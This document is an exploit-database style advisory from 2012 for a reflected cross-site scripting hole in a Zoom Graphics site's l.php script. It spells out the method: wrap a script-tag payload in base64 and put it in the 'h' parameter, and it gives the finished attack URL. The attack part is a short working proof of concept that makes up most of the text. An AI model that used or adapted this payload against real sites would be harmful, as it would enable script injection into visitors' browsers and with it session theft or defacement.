Zoom Graphics Cross Site Scripting

`+---------------------------------------------------------------------------------------------------------+  
# Exploit Title : ZOOM GRAPHICS XSS [B64] Vulnerability   
# Date : 2012-08-19  
# Author : Avatar Fearless   
# Official Site : http://zoom.am/  
# Version : x.x.x [UnKnown]  
# Tested on : Windows 7 Ultimate x32   
# Original Advisory : http://thefear.in/zoomam.txt  
# Contact : [email protected]   
# Web Sites : http://anti-armenia.org/ || http://millikuvvetler.net/ || http://mexfi.org/  
# Greet`Z To : Meta  
+---------------------------------------------------------------------------------------------------------+  
[+] Vulnerable :  
http://site.tld/l.php?l=2&h=[base64 encode]  
  
  
[-] Exploit :  
Firstable You Will take a XSS Code. Example : '><script>alert(1);</script>. We Have to use only quote not Double quote because if we use than script  
will parse double quote. And we will encode this code to Base64 . Output : Jz48c2NyaXB0PmFsZXJ0KDEpOzwvc2NyaXB0Pg== So it will be like this :  
http://site.tld/zoom/l.php?l=2&h=Jz48c2NyaXB0PmFsZXJ0KDEpOzwvc2NyaXB0Pg==  
It is just example  
  
[?] About :  
For More Info Contact me.  
  
[@]  
Respect To :   
All My Bro*S  
AA Team  
MF Team  
MKT Team  
  
+---------------------------------------------------------------------------------------------------------+  
`